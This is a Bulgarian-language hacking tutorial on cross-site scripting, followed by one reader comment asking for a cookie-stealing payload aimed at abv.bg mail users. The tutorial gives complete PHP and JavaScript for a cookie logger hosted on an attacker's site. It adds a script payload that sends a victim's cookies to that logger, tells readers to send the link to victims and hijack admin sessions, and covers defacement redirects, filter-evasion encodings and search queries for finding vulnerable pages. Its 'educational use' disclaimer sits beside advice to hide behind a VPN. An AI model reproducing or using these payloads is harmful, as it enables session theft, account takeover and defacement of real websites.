XSS:Методи за напреднали
В.предишната статия разбрахте какво е XSS и как се работи с него ,а в тази статия ще ви кажа начини как да използвате XSS за да хакнете сайт.Моля използвайте материала само за учебна цел.И предупреждавайте администраторите на страниците ако забележите грешки.Вие подлежите на съдебна отговорност при използване на методите срещу страница.Използвайте Proxy или VPN Server.
Кражба на така наречените бисквитки ( cookie )
Кражбата на така наречените бисквитки е най-доброто нещо което можем да направим с непостоянен XSS.С кражбата на бисквитките ще имаме достъп до сайта както всеки който го е използвал.Най – лесния начин за това е . Първо трябва да направите сайт които да краде и записва тези бисквитки .Лично аз използвам http://www.000webhost.com/ най-добрия сайт за използване на лош код , програми и друго.Затова отиде там и се регистрирайте.След като сте направили вашия сайт отидете в file manager и направете файл с името CookieLog.txt . Оставете го празен. Сега направете друг с името CookieLogger.php в който трябва да сложим кода ,който изпраща откраднатите бисквитки във текст файла. Уверете се че файла е с нужното разширение .php иначе кода няма да работи.И така ето го и кода :
<?php
if(strlen($_SERVER['QUERY_STRING']) > 0) {
$fp=fopen('./CookieLog.txt', 'a');
fwrite($fp, urldecode($_SERVER['QUERY_STRING'])."\n");
fclose($fp);
} else {
?>
var ownUrl = 'http://<?php echo $_SERVER['HTTP_HOST']; ?><?php echo $_SERVER['PHP_SELF']; ?>';
function URLEncode(str)
{
var SAFECHARS = "0123456789" + // Numeric
"ABCDEFGHIJKLMNOPQRSTUVWXYZ" + // Alphabetic
"abcdefghijklmnopqrstuvwxyz" +
"-_.!~*'()"; // RFC2396 Mark characters
var HEX = "0123456789ABCDEF";
var plaintext = str;
var encoded = "";
for (var i = 0; i < plaintext.length; i++ ) {
var ch = plaintext.charAt(i);
if (ch == " ") {
encoded += "+"; // x-www-urlencoded, rather than %20
} else if (SAFECHARS.indexOf(ch) != -1) {
encoded += ch;
} else {
var charCode = ch.charCodeAt(0);
if (charCode > 255) {
alert( "Unicode Character '"
+ ch
+ "' cannot be encoded using standard URL encoding.\n" +
"(URL encoding only supports 8-bit characters.)\n" +
"A space (+) will be substituted." );
encoded += "+";
} else {
encoded += "%";
encoded += HEX.charAt((charCode >> 4) & 0xF);
encoded += HEX.charAt(charCode & 0xF);
}
}
} // for
return encoded;
};
cookie = URLEncode(document.cookie);
html = '<img src="'+ownUrl+'?'+cookie+'">';
document.write(html);
< ?php
}
?>
Сега просто трябва да изпратим страницата с този код на жертвата.Има много начини за това проявете въображение.Сега трябва да въведем скрипта който ще запише бисквитката.Там където сте проверили че има XSS грешка в сайта въведете следния код:
<script>document.location="http://www.host.com/mysite/CookieLogger.php?cookie=" + document.cookie;</script>
Въведете скрипта след страницата където е грешката и я изпратете на жертвата.Това може да отнеме малко повече време ако администратора кликне на получения клип вие сте късметлии и имате достъп до сайта в противен случай трябва да намерите друга грешка във сайта.След като откраднете бисквитката на администратора можете да свалите plugin за Mozzila FireFox с името Cookie Manager с него можете да променяте бисквитките за даден сайт.Може би най-полезния plugin за XSS атака.
Така наречения Deface е когато смените заглавната страница с цел да покажете ,че защитата на сайта е слаба за вас.Можете да използвате следния код в някоя кутия за коментари като пренасочите сайта към предварително изграден от вас deface index.html
Код:
<script>window.location="http://www.example.com/вашата страница/";</script>
XSS: Onmouseover
Onmousover не е от най-използваните грешки за пробиване защитата на сайтове но все пак съдържа XSS.Ще изглежда нещо като:
onmouseover=alert("XSS")
Често се намира но все повече сайтове вече използват Adobe Flash или CSS за да постигнат този ефект.
XSS Filter Техники за преминаване.
Понякога проста XSS заявка няма да премине към сървъра. Причината за това е ,че сайта има направен filter за тези заявки които предполагат неблагоприятен код. Той ще блокира повечето SQLi и XSS заявки.Има много начини да преминем този филтър тук ще обясня няколко.
Hex
С блокирани символи като >, <,и /, е трудно да изпълним XSS код. Но не се притеснявайте винаги има начин.Вие можете да смените вашите символи и да ги превърнете в HEX код. Това би ви помогнало:
> = %3c
< = %3c
/ = %2f
ASCII
Можете да превърнете вашия код в ASCII и така символите които често се използват няма да бъдат разпознати.
Неработещ код:
<script>alert("XSS")</script>
Работещ код:
<script>alert(String.fromCharCode(88,83,83))</script>
За да криптирате части от кода можете да използвате този сайт: http://www.wocares.com/noquote.php Намирам го за полезен.
Промяна размера на буквите и символите
Рядко работи и при по новите версии филтри неработи но нищо не пречи да опитате като промените размера на буквите.
Код:
<ScRiPt>aLeRt("XSS")</ScRiPt>
Също можете да го комбинирате с ASCII код.
Няколко места където можете да намерите XSS грешки винаги е хубаво да търсите нови места.Напишете следните кодове в google.com
Код:
inurl:search.php?
inurl:find.php?
inurl:search.html
inurl:find.html
inurl:search.aspx
inurl:find.aspx
Дано статията ви е харесала благодаря за прочитането и.
Знаеш ли XSS код с който като се натисне , да се пращат бисквитките на човека на Абв пощата ?
ReplyDelete